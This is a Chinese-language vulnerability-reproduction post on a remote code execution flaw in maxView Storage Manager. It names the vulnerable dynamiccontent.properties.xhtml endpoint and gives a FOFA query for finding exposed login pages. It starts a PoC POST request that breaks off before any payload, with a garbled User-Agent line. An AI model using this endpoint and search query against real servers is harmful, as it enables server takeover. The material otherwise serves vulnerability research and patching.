【漏洞复现】maxView Storage Manager 远程代码执行漏洞

        maxView Storage Manager使查看、监控和配置系统中基于Microsemi RAID适配器构建的所有存储变得简单。⽅便的图形⽤户界⾯（GUI）在Microsemi产品线和⽀持的操作系统（包括
Windows、Linux、VMWare和Solaris）中的外观和操作都相同。使⽤此单⼀⼯具集中管理直连存储（DAS）和⽹络存储。此外，还可通过maxCache SSD Caching管理现有卷的⾼级缓存池，并通过Adaptec Intelligent Power Management管理存储功耗。

》》》漏洞描述《《《

        maxView Storage Manager系统dynamiccontent.properties.xhtm)存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执
行任意代码获取服务器权限。

---

》》》影响范围《《《

maxView Storage Manager系统

---

》》》环境搭建《《《

fofa："maxView Storage Manager - Login"

---

》》》漏洞复现《《《

poc数据包

POST /maxview/manager/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 
User-Agent: User-Agent: